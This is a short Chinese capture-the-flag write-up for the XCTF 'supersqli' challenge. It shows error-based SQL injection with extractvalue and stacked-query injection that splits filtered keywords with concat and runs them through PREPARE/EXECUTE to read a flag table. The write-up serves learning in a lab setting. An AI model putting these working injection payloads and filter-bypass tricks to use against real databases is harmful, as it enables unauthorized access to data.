攻防世界XCTF:supersqli_sql


攻防世界XCTF:supersqli_sql_02


加个单引号发现报错

攻防世界XCTF:supersqli_预处理_03


攻防世界XCTF:supersqli_数据库_04


攻防世界XCTF:supersqli_数据库_05


比较烦的就是过滤了select

这样就无法进行查数据了,而且这里的/i就是忽略了大小写。无法进行大小写过滤

首先可以通过报错函数,把数据库给注入出来

-1' and extractvalue(1,concat(1,version()))-- +

版本信息:.18-MariaDB

攻防世界XCTF:supersqli_预处理_06


数据库名称:supersqli

攻防世界XCTF:supersqli_预处理_07


然后经过测试发现这里可以执行多条语句,也就是堆叠注入

再进行查这个数据库有多少表:

第一张表:1919810931114514

第二章表:words

攻防世界XCTF:supersqli_数据库_08


虽然这里过滤了select和where等,但是可以通过执行多语句,将要执行的sql语句进行拼接,这样就可以将过滤的sql关键字拆分绕过检测

-1';use information_schema;set @sql=concat('s','elect column_name from columns wher','e table_name="1919810931114514"');PREPARE sql_query FROM @sql;EXECUTE sql_query;--+

注意这里table_name="" 使用双引号是为了和单引号区分开来

攻防世界XCTF:supersqli_数据库_09


这里@是定义一个用户自定义变量的意思

PREPARE是预处理,这里预处理语句必须大写,格式就是PREPARE sql_query from @sql_query;execute sql_query;

然后查字段内容

-1';use supersqli;set @sql=concat('s','elect `flag` from `1919810931114514`');PREPARE sql_query FROM @sql;EXECUTE sql_query;--+

这里对字段名 flag 使用 这对符号包裹我猜也是为了区分吧

攻防世界XCTF:supersqli_数据库_10